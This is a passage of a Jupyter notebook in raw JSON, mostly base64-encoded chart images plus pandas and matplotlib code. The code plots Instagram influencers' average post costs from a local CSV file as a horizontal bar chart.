5UJpZa2YVlmfT9ufFB8w7StU//xVwXUR8qY39FPch5p8eqa1y3mqjfmYd4qFXM6uXx4FhkvpIWhnYNKffAWwh6RMAeTaMNdso61rg8NKTPDdjR8oxW2AOlGZWL7cB04FpwInAZICIeAkYA5wvaSop4K3dRlk/BZaRdK+ke4BtOliO2QLz7CFmZmZVuEdpZmZWhQOlmZlZFQ6UZmZmVThQmpmZVeFAaWZmVoUDpZmZWRUOlGZmZlX8P1bjFwKFDw/WAAAAAElFTkSuQmCC\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd #import pandas\n", + "import matplotlib.pyplot as plt #import matplotlib\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Instagram DataAnalysis\\ Marketing Statistics\\MS3.csv\", header=0, sep=\",\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats) #make dataframe\n", + "x = list(df.iloc[:, 0]) #get 0th col\n", + "y = list(df.iloc[:, 1]) #get 1st col\n", + "c = ['orange', 'g', 'b', 'k', 'r'] #colors\n", + "\n", + "plt.title(\"Most-expensive influencers by average post cost\")\n", + "plt.xlabel(\"Influencer\")\n", + "plt.ylabel(\"Average_post_cost\")\n", + "plt.barh(x, y, color = c) #plot the graph\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Top brands by influencer marketing spend in 2019, USD thousands" + ] + }, + { + "cell_type": "code", + "execution_count": 43, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + " Influencer Average_post_cost(USD thousands)\n", + "0 Dwayne Johnson 1015\n", + "1 Kylie Jenner 986\n", + "2 Cristiano Ronaldo 889\n", + "3 Kim Kardashian 858\n", + "4 Ariana Grande 853\n", + "5 Selena Gomez 848\n", + "6 Beyoncé Knowles 770\n", + "7 Justin Bieber 747\n", + "8 Taylor Swift 722\n", + "9 Neymar Jr 704\n" + ] + }, + { + "data": { + "image/png": "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